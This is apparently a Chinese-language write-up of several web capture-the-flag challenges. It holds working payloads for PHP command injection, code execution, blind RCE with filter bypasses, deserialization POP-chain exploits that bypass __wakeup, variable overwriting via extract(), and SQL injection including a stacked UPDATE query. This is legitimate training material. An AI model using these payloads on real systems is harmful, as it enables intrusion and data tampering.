打开题目,查看js源码
直接搜flag
把那三行代码复制到控制器,得到flag
都是http请求基本知识
抓包按照要求来,得到flag
源码
成功上传
得到flag
源码
";
}
分析一下,首先是参数名利用php解析特性;然后就是简单的ping命令加命令执行
?Ping[ip.exe=127.0.0.1;cat /flag
得到flag
考点: __wakeup绕过之fast-destruct
源码
";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!
";
$this->cmd = "echo Welcome to NSSCTF";
}
}
class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}
class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString
There is more than one way to trigger";
return $this->sth->var;
}
}
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct
";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}
if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}
Let's do some deserialization :)
分析一下
pop链
F.__destruct() --> T.__toString() --> C.__get() --> NSS.__invoke()
exp
user='SWPU';
$a->passwd='NSS';
$a->notes=$b;
$b->sth=$c;
$c->whoami=$d;
$remove=substr(serialize($a), 0, -1); //去掉最后一个花括号
echo base64_encode($remove);
得到flag
考点:sql注入万能密码,bp爆破攻击
打开题目,发现给了excel表格用来查询成绩
F12看到提示用万能密码
目前为止,还不知道注入的位置
我们可以bp抓包,依次再三个参数fuzz测试(在页面处输入不了"
,所以用抓包的方式来回显)
发现在学号处存在注入点,且闭合方式为双引号
结合学生表和万能密码
随便输入一个学生名字,发现有回显
尝试用联合查询,发现走不通
考虑到学生表,猜测flag应该藏在某位同学的成绩那
把表中学生名字全部复制到txt里,然后添加该payload(bp上显示乱码不管它)
爆破得到flag
源码
自己写代码进去,先闭合前面,然后命令执行,在最后面加注释符
payload
?check=1==1) echo `cat /f*`;/*
不难发现黄色部分都被注释掉了,因此命令执行得到flag
考点:无回显RCE
源码
shell_exec()函数哪怕执行了命令也是没有回显的
我们输入下面命令测试下
?cmd=ls / | sleep 5
我们会发现执行了,但是并没有回显
这里可以利用tee命令把执行的结果打印下来
payload
?cmd=ls / | tee 1.txt
或者是重定向
?cmd=ls / > 1.txt
然后访问./1.txt
然后反斜杠绕过一下关键字
?cmd=ca\t /fl\ag | tee 2.txt
得到flag
考点:源码泄露,变量引用绕过__wakeup,php变量覆盖
提示说给了备份文件,直接御剑扫一下
发现有www.zip,访问下载下来
源码
yuki='tell me where';
$this->molly='dont_tell_you';
$this->dimoo="you_can_guess";
}
public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;
if($this->molly === $this->yuki){
echo $flag;
}
}
}
$pucky = $_GET['wq'];
if(isset($pucky)){
if($pucky==="二仙桥"){
extract($_POST);
if($pucky==="二仙桥"){
die("");
}
unserialize($pucky);
}
}
反序列化非常简单,if语句要求$this->molly === $this->yuki
强等于,但是__wakeup方法会赋值,所以采取引用绕过的方式,exp如下
molly=&$a->yuki;
echo serialize($a);
然后就是上传的时候有两个if语句,第一个成立,第二个不成立。由于GET和POST传同一个参数没有先后顺序,所以不能用下面的方式去实现变量覆盖
GET:?wq=二仙桥
POST:wq=O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
我们可以修改下POST参数为pucky即可
得到flag
比赛时是给了源码,这里参考下别的师傅发的
关键部分
给出表名为items,flag为id=8
(本来以为是考察JWT,疯狂修改session,结果赛后才知道是sql注入)
我们bp抓包看一下购买的过程
结合给的源码,不难发现对应id=1
我们尝试注入,发现是单引号闭合
由于得到flag的条件为购买flag,那么我们可以用update语句来让flag只需要一块钱购买
payload
1';update items set price=1 where id=8;#
空格用%09,update,where大小写绕过
1';upDate%09items%09set%09price=1%09Where%09id=8;#
购买得到flag